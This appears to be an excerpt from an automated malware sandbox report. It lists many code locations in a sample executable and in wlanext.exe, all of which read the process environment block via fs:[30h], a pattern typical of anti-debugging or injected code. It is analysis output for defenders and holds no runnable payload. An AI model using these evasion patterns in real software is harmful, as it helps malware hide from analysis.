Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01916DC9 mov eax, dword ptr fs:[00000030h] 3_2_01916DC9
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01916DC9 mov ecx, dword ptr fs:[00000030h] 3_2_01916DC9
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01916DC9 mov eax, dword ptr fs:[00000030h] 3_2_01916DC9
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01916DC9 mov eax, dword ptr fs:[00000030h] 3_2_01916DC9
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01948DF1 mov eax, dword ptr fs:[00000030h] 3_2_01948DF1
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018AD5E0 mov eax, dword ptr fs:[00000030h] 3_2_018AD5E0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018AD5E0 mov eax, dword ptr fs:[00000030h] 3_2_018AD5E0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0195FDE2 mov eax, dword ptr fs:[00000030h] 3_2_0195FDE2
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0195FDE2 mov eax, dword ptr fs:[00000030h] 3_2_0195FDE2
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0195FDE2 mov eax, dword ptr fs:[00000030h] 3_2_0195FDE2
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0195FDE2 mov eax, dword ptr fs:[00000030h] 3_2_0195FDE2
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01968D34 mov eax, dword ptr fs:[00000030h] 3_2_01968D34
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0191A537 mov eax, dword ptr fs:[00000030h] 3_2_0191A537
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0195E539 mov eax, dword ptr fs:[00000030h] 3_2_0195E539
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C4D3B mov eax, dword ptr fs:[00000030h] 3_2_018C4D3B
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C4D3B mov eax, dword ptr fs:[00000030h] 3_2_018C4D3B
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C4D3B mov eax, dword ptr fs:[00000030h] 3_2_018C4D3B
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0189AD30 mov eax, dword ptr fs:[00000030h] 3_2_0189AD30
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018A3D34 mov eax, dword ptr fs:[00000030h] 3_2_018A3D34
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018A3D34 mov eax, dword ptr fs:[00000030h] 3_2_018A3D34
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018A3D34 mov eax, dword ptr fs:[00000030h] 3_2_018A3D34
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018A3D34 mov eax, dword ptr fs:[00000030h] 3_2_018A3D34
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018A3D34 mov eax, dword ptr fs:[00000030h] 3_2_018A3D34
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018A3D34 mov eax, dword ptr fs:[00000030h] 3_2_018A3D34
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018A3D34 mov eax, dword ptr fs:[00000030h] 3_2_018A3D34
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018A3D34 mov eax, dword ptr fs:[00000030h] 3_2_018A3D34
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018A3D34 mov eax, dword ptr fs:[00000030h] 3_2_018A3D34
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018A3D34 mov eax, dword ptr fs:[00000030h] 3_2_018A3D34
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018A3D34 mov eax, dword ptr fs:[00000030h] 3_2_018A3D34
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018A3D34 mov eax, dword ptr fs:[00000030h] 3_2_018A3D34
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018A3D34 mov eax, dword ptr fs:[00000030h] 3_2_018A3D34
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D3D43 mov eax, dword ptr fs:[00000030h] 3_2_018D3D43
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01913540 mov eax, dword ptr fs:[00000030h] 3_2_01913540
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01943D40 mov eax, dword ptr fs:[00000030h] 3_2_01943D40
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018B7D50 mov eax, dword ptr fs:[00000030h] 3_2_018B7D50
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018BC577 mov eax, dword ptr fs:[00000030h] 3_2_018BC577
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018BC577 mov eax, dword ptr fs:[00000030h] 3_2_018BC577
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018A849B mov eax, dword ptr fs:[00000030h] 3_2_018A849B
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01968CD6 mov eax, dword ptr fs:[00000030h] 3_2_01968CD6
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01916CF0 mov eax, dword ptr fs:[00000030h] 3_2_01916CF0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01916CF0 mov eax, dword ptr fs:[00000030h] 3_2_01916CF0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01916CF0 mov eax, dword ptr fs:[00000030h] 3_2_01916CF0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_019514FB mov eax, dword ptr fs:[00000030h] 3_2_019514FB
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01951C06 mov eax, dword ptr fs:[00000030h] 3_2_01951C06
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01951C06 mov eax, dword ptr fs:[00000030h] 3_2_01951C06
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01951C06 mov eax, dword ptr fs:[00000030h] 3_2_01951C06
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01951C06 mov eax, dword ptr fs:[00000030h] 3_2_01951C06
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01951C06 mov eax, dword ptr fs:[00000030h] 3_2_01951C06
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01951C06 mov eax, dword ptr fs:[00000030h] 3_2_01951C06
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01951C06 mov eax, dword ptr fs:[00000030h] 3_2_01951C06
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01951C06 mov eax, dword ptr fs:[00000030h] 3_2_01951C06
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01951C06 mov eax, dword ptr fs:[00000030h] 3_2_01951C06
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01951C06 mov eax, dword ptr fs:[00000030h] 3_2_01951C06
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01951C06 mov eax, dword ptr fs:[00000030h] 3_2_01951C06
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01951C06 mov eax, dword ptr fs:[00000030h] 3_2_01951C06
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01951C06 mov eax, dword ptr fs:[00000030h] 3_2_01951C06
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01951C06 mov eax, dword ptr fs:[00000030h] 3_2_01951C06
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0196740D mov eax, dword ptr fs:[00000030h] 3_2_0196740D
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0196740D mov eax, dword ptr fs:[00000030h] 3_2_0196740D
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0196740D mov eax, dword ptr fs:[00000030h] 3_2_0196740D
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01916C0A mov eax, dword ptr fs:[00000030h] 3_2_01916C0A
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01916C0A mov eax, dword ptr fs:[00000030h] 3_2_01916C0A
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01916C0A mov eax, dword ptr fs:[00000030h] 3_2_01916C0A
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01916C0A mov eax, dword ptr fs:[00000030h] 3_2_01916C0A
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018CBC2C mov eax, dword ptr fs:[00000030h] 3_2_018CBC2C
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0192C450 mov eax, dword ptr fs:[00000030h] 3_2_0192C450
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0192C450 mov eax, dword ptr fs:[00000030h] 3_2_0192C450
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018CA44B mov eax, dword ptr fs:[00000030h] 3_2_018CA44B
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018B746D mov eax, dword ptr fs:[00000030h] 3_2_018B746D
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01917794 mov eax, dword ptr fs:[00000030h] 3_2_01917794
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01917794 mov eax, dword ptr fs:[00000030h] 3_2_01917794
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01917794 mov eax, dword ptr fs:[00000030h] 3_2_01917794
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018A8794 mov eax, dword ptr fs:[00000030h] 3_2_018A8794
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D37F5 mov eax, dword ptr fs:[00000030h] 3_2_018D37F5
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0192FF10 mov eax, dword ptr fs:[00000030h] 3_2_0192FF10
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0192FF10 mov eax, dword ptr fs:[00000030h] 3_2_0192FF10
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018CA70E mov eax, dword ptr fs:[00000030h] 3_2_018CA70E
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018CA70E mov eax, dword ptr fs:[00000030h] 3_2_018CA70E
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0196070D mov eax, dword ptr fs:[00000030h] 3_2_0196070D
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0196070D mov eax, dword ptr fs:[00000030h] 3_2_0196070D
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018BF716 mov eax, dword ptr fs:[00000030h] 3_2_018BF716
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01894F2E mov eax, dword ptr fs:[00000030h] 3_2_01894F2E
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01894F2E mov eax, dword ptr fs:[00000030h] 3_2_01894F2E
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018CE730 mov eax, dword ptr fs:[00000030h] 3_2_018CE730
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018AEF40 mov eax, dword ptr fs:[00000030h] 3_2_018AEF40
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018AFF60 mov eax, dword ptr fs:[00000030h] 3_2_018AFF60
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01968F6A mov eax, dword ptr fs:[00000030h] 3_2_01968F6A
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0192FE87 mov eax, dword ptr fs:[00000030h] 3_2_0192FE87
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01960EA5 mov eax, dword ptr fs:[00000030h] 3_2_01960EA5
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01960EA5 mov eax, dword ptr fs:[00000030h] 3_2_01960EA5
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01960EA5 mov eax, dword ptr fs:[00000030h] 3_2_01960EA5
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_019146A7 mov eax, dword ptr fs:[00000030h] 3_2_019146A7
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01968ED6 mov eax, dword ptr fs:[00000030h] 3_2_01968ED6
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C36CC mov eax, dword ptr fs:[00000030h] 3_2_018C36CC
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D8EC7 mov eax, dword ptr fs:[00000030h] 3_2_018D8EC7
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0194FEC0 mov eax, dword ptr fs:[00000030h] 3_2_0194FEC0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018A76E2 mov eax, dword ptr fs:[00000030h] 3_2_018A76E2
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C16E0 mov ecx, dword ptr fs:[00000030h] 3_2_018C16E0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0189C600 mov eax, dword ptr fs:[00000030h] 3_2_0189C600
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0189C600 mov eax, dword ptr fs:[00000030h] 3_2_0189C600
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0189C600 mov eax, dword ptr fs:[00000030h] 3_2_0189C600
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C8E00 mov eax, dword ptr fs:[00000030h] 3_2_018C8E00
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018CA61C mov eax, dword ptr fs:[00000030h] 3_2_018CA61C
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018CA61C mov eax, dword ptr fs:[00000030h] 3_2_018CA61C
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01951608 mov eax, dword ptr fs:[00000030h] 3_2_01951608
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0189E620 mov eax, dword ptr fs:[00000030h] 3_2_0189E620
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0194FE3F mov eax, dword ptr fs:[00000030h] 3_2_0194FE3F
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018A7E41 mov eax, dword ptr fs:[00000030h] 3_2_018A7E41
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018A7E41 mov eax, dword ptr fs:[00000030h] 3_2_018A7E41
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018A7E41 mov eax, dword ptr fs:[00000030h] 3_2_018A7E41
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018A7E41 mov eax, dword ptr fs:[00000030h] 3_2_018A7E41
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018A7E41 mov eax, dword ptr fs:[00000030h] 3_2_018A7E41
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018A7E41 mov eax, dword ptr fs:[00000030h] 3_2_018A7E41
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0195AE44 mov eax, dword ptr fs:[00000030h] 3_2_0195AE44
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0195AE44 mov eax, dword ptr fs:[00000030h] 3_2_0195AE44
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018A766D mov eax, dword ptr fs:[00000030h] 3_2_018A766D
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018BAE73 mov eax, dword ptr fs:[00000030h] 3_2_018BAE73
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018BAE73 mov eax, dword ptr fs:[00000030h] 3_2_018BAE73
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018BAE73 mov eax, dword ptr fs:[00000030h] 3_2_018BAE73
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018BAE73 mov eax, dword ptr fs:[00000030h] 3_2_018BAE73
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018BAE73 mov eax, dword ptr fs:[00000030h] 3_2_018BAE73
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0361DB60 mov ecx, dword ptr fs:[00000030h] 7_2_0361DB60
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03643B7A mov eax, dword ptr fs:[00000030h] 7_2_03643B7A
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03643B7A mov eax, dword ptr fs:[00000030h] 7_2_03643B7A
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0361DB40 mov eax, dword ptr fs:[00000030h] 7_2_0361DB40
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036E8B58 mov eax, dword ptr fs:[00000030h] 7_2_036E8B58
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0361F358 mov eax, dword ptr fs:[00000030h] 7_2_0361F358
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036D131B mov eax, dword ptr fs:[00000030h] 7_2_036D131B
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036403E2 mov eax, dword ptr fs:[00000030h] 7_2_036403E2
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036403E2 mov eax, dword ptr fs:[00000030h] 7_2_036403E2
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036403E2 mov eax, dword ptr fs:[00000030h] 7_2_036403E2
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036403E2 mov eax, dword ptr fs:[00000030h] 7_2_036403E2
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036403E2 mov eax, dword ptr fs:[00000030h] 7_2_036403E2
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036403E2 mov eax, dword ptr fs:[00000030h] 7_2_036403E2
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0363DBE9 mov eax, dword ptr fs:[00000030h] 7_2_0363DBE9
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036953CA mov eax, dword ptr fs:[00000030h] 7_2_036953CA
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036953CA mov eax, dword ptr fs:[00000030h] 7_2_036953CA
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03644BAD mov eax, dword ptr fs:[00000030h] 7_2_03644BAD
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03644BAD mov eax, dword ptr fs:[00000030h] 7_2_03644BAD
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03644BAD mov eax, dword ptr fs:[00000030h] 7_2_03644BAD
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036E5BA5 mov eax, dword ptr fs:[00000030h] 7_2_036E5BA5
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036D138A mov eax, dword ptr fs:[00000030h] 7_2_036D138A
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036CD380 mov ecx, dword ptr fs:[00000030h] 7_2_036CD380
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03621B8F mov eax, dword ptr fs:[00000030h] 7_2_03621B8F
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03621B8F mov eax, dword ptr fs:[00000030h] 7_2_03621B8F
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03642397 mov eax, dword ptr fs:[00000030h] 7_2_03642397
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0364B390 mov eax, dword ptr fs:[00000030h] 7_2_0364B390
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036CB260 mov eax, dword ptr fs:[00000030h] 7_2_036CB260
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036CB260 mov eax, dword ptr fs:[00000030h] 7_2_036CB260
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036E8A62 mov eax, dword ptr fs:[00000030h] 7_2_036E8A62
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0365927A mov eax, dword ptr fs:[00000030h] 7_2_0365927A
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03619240 mov eax, dword ptr fs:[00000030h] 7_2_03619240
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03619240 mov eax, dword ptr fs:[00000030h] 7_2_03619240
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03619240 mov eax, dword ptr fs:[00000030h] 7_2_03619240
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03619240 mov eax, dword ptr fs:[00000030h] 7_2_03619240
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036DEA55 mov eax, dword ptr fs:[00000030h] 7_2_036DEA55
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036A4257 mov eax, dword ptr fs:[00000030h] 7_2_036A4257
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03654A2C mov eax, dword ptr fs:[00000030h] 7_2_03654A2C
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03654A2C mov eax, dword ptr fs:[00000030h] 7_2_03654A2C
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03628A0A mov eax, dword ptr fs:[00000030h] 7_2_03628A0A
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03615210 mov eax, dword ptr fs:[00000030h] 7_2_03615210
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03615210 mov ecx, dword ptr fs:[00000030h] 7_2_03615210
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03615210 mov eax, dword ptr fs:[00000030h] 7_2_03615210
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03615210 mov eax, dword ptr fs:[00000030h] 7_2_03615210
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0361AA16 mov eax, dword ptr fs:[00000030h] 7_2_0361AA16
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0361AA16 mov eax, dword ptr fs:[00000030h] 7_2_0361AA16
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036DAA16 mov eax, dword ptr fs:[00000030h] 7_2_036DAA16
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036DAA16 mov eax, dword ptr fs:[00000030h] 7_2_036DAA16
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03633A1C mov eax, dword ptr fs:[00000030h] 7_2_03633A1C
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03642AE4 mov eax, dword ptr fs:[00000030h] 7_2_03642AE4
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03642ACB mov eax, dword ptr fs:[00000030h] 7_2_03642ACB
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036152A5 mov eax, dword ptr fs:[00000030h] 7_2_036152A5
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036152A5 mov eax, dword ptr fs:[00000030h] 7_2_036152A5
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036152A5 mov eax, dword ptr fs:[00000030h] 7_2_036152A5
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036152A5 mov eax, dword ptr fs:[00000030h] 7_2_036152A5
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036152A5 mov eax, dword ptr fs:[00000030h] 7_2_036152A5
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0362AAB0 mov eax, dword ptr fs:[00000030h] 7_2_0362AAB0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0362AAB0 mov eax, dword ptr fs:[00000030h] 7_2_0362AAB0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0364FAB0 mov eax, dword ptr fs:[00000030h] 7_2_0364FAB0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0364D294 mov eax, dword ptr fs:[00000030h] 7_2_0364D294
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0364D294 mov eax, dword ptr fs:[00000030h] 7_2_0364D294
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0361C962 mov eax, dword ptr fs:[00000030h] 7_2_0361C962
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0361B171 mov eax, dword ptr fs:[00000030h] 7_2_0361B171
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0361B171 mov eax, dword ptr fs:[00000030h] 7_2_0361B171
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0363B944 mov eax, dword ptr fs:[00000030h] 7_2_0363B944
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0363B944 mov eax, dword ptr fs:[00000030h] 7_2_0363B944
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03634120 mov eax, dword ptr fs:[00000030h] 7_2_03634120
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03634120 mov eax, dword ptr fs:[00000030h] 7_2_03634120
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03634120 mov eax, dword ptr fs:[00000030h] 7_2_03634120
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03634120 mov eax, dword ptr fs:[00000030h] 7_2_03634120
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03634120 mov ecx, dword ptr fs:[00000030h] 7_2_03634120
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0364513A mov eax, dword ptr fs:[00000030h] 7_2_0364513A
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0364513A mov eax, dword ptr fs:[00000030h] 7_2_0364513A
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03619100 mov eax, dword ptr fs:[00000030h] 7_2_03619100
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03619100 mov eax, dword ptr fs:[00000030h] 7_2_03619100
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03619100 mov eax, dword ptr fs:[00000030h] 7_2_03619100
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0361B1E1 mov eax, dword ptr fs:[00000030h] 7_2_0361B1E1
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0361B1E1 mov eax, dword ptr fs:[00000030h] 7_2_0361B1E1
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0361B1E1 mov eax, dword ptr fs:[00000030h] 7_2_0361B1E1
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036A41E8 mov eax, dword ptr fs:[00000030h] 7_2_036A41E8
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036461A0 mov eax, dword ptr fs:[00000030h] 7_2_036461A0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036461A0 mov eax, dword ptr fs:[00000030h] 7_2_036461A0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036969A6 mov eax, dword ptr fs:[00000030h] 7_2_036969A6
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036951BE mov eax, dword ptr fs:[00000030h] 7_2_036951BE
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036951BE mov eax, dword ptr fs:[00000030h] 7_2_036951BE
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036951BE mov eax, dword ptr fs:[00000030h] 7_2_036951BE
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036951BE mov eax, dword ptr fs:[00000030h] 7_2_036951BE
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0363C182 mov eax, dword ptr fs:[00000030h] 7_2_0363C182
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0364A185 mov eax, dword ptr fs:[00000030h] 7_2_0364A185
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03642990 mov eax, dword ptr fs:[00000030h] 7_2_03642990
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036E1074 mov eax, dword ptr fs:[00000030h] 7_2_036E1074
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036D2073 mov eax, dword ptr fs:[00000030h] 7_2_036D2073
